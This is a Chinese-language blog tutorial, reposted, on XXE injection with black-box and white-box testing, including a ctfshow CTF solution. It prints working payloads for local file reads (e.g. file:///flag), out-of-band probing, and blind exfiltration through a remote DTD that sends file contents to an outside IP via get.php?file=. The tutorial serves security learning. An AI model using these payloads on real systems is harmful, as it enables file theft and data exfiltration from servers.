自学内容网 自学内容网

XXE漏洞 && 黑盒测试 && 白盒测试 && 有无回显问题

前言

什么是XXE(xml外部实体注入漏洞)?  就是网站以xml传输数据 的时候我们截取他的传输流进行修改(网站没有对我们的输入进行过滤) 添加恶意代码 导致数据传输到后台 后台解析xml形式 导致恶意代码被执行

几种常见的传输数据的模式:

1、XML

还有几种模式

普通 :

user=xxx&&pass=xxx

json

{
    
    {
        admin:123
    }
}

为什么介绍这个? 就是不同的文件传输模式是会影响到我们的注入的探针的写入形式

因为 数据的传输是前后端呼应的 : 所以我们的输入在后台是进行解密的

黑盒测试

黑盒测试我们以 本地的源码进行测试

XXE的payload       这里注意  需要在远程的服务器上写入 两个文件
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///d:/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

1.1、带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
    %file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

2、外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
    %file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/e.txt">

3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
4、伪协议玩法

本地先抓包进行判断  xxe是有回显的还是无回显的

那就可以进行文件的读取 (其实XXE实体的注入  还可以进行其他的操作 比如 命令的执行 但是这个一般都是 框架的安全)

演示:

加入这个d:\\下的1.txt是我们的配置文件 

这个有个限制就是php版本需要是5 开头的 因为高版本的这个危险的函数早就鸡鸡了

还有个就是密码随便输就行 都可以进行读取

案例二

一个文本输入的网站  (类似于留言版 这里网站大多会使用 数据传送格式 不然会造成数据的丢失)为什么使用 XML(他是 序列化的传输)

我们右键看一下源码

发现信息就需要进行利用  抓一下包

数据是回显的

为什么后边要加一个 root 这个就是系统的区别了  win是不需要的  但是 linux看这个配置文件是需要root权限

白盒无回显

先说一下思路无回显 :
1、带外   除了使用dnslog  还可以直接使用   自己的服务器
2、 外部xml实体注入        
外部引用dtd库文件(远程代码访问dtd之后就会解析里面的内容xml的特性)进行读取文件(oob盲注  外部引用dtd)
(原理就是把想读取的文件 的 内容  写到其他的空文件)从而实现读取、

白盒测试思路:

1、根据功能看代码  : 如文件的上传的绕过我们黑盒是很难知道逻辑的 只能猜 但是根据这个功能 我们找到相应的代码函数 (move_file_upload)就能分析他的过滤机制

2、根据代码看功能 就是白盒我们知道代码但是不知道  这个漏洞发生在哪里的时候就需要这样做 进行全局搜索我们 了解的这个漏洞的相应的功能

XXE白盒测试的函数        simplexml_load_string       

先玩无回显

带外之后是不是就能 直接执行命令了

但是现在带来的是第二个玩法          oob盲注

就是外部的xxe(远端服务器准备 一个 写入的文件  一个dtd库访问使其触发(

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

))远程访问的作用

之后服务器就会出现这个file.txt

如果执行不了就给与适当的权限

白盒测试

根据函数 找位置

再找功能是那个网页的页面实现的

右键转到引用

看引用 然后浏览器跳转到 页面   进行测试就OK了

演示ctfshow的题目:

解析完我构造 这个的大概意思就是 需要使用 ctfshow 包裹我们的输入才能执行

<!DOCTYPE xiaodi [
        <!ELEMENT ctfshow ANY >
        <!ENTITY flag SYSTEM "file:///flag">
]>
<root>
    <ctfshow>&flag;</ctfshow>
</root>
这个root哪里来的 这个其实是为了成功读取的一个伪装

<!ELEMENT ctfshow ANY > 定义一个ctfshow标签


原文地址:https://blog.csdn.net/2301_81155391/article/details/144784065

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!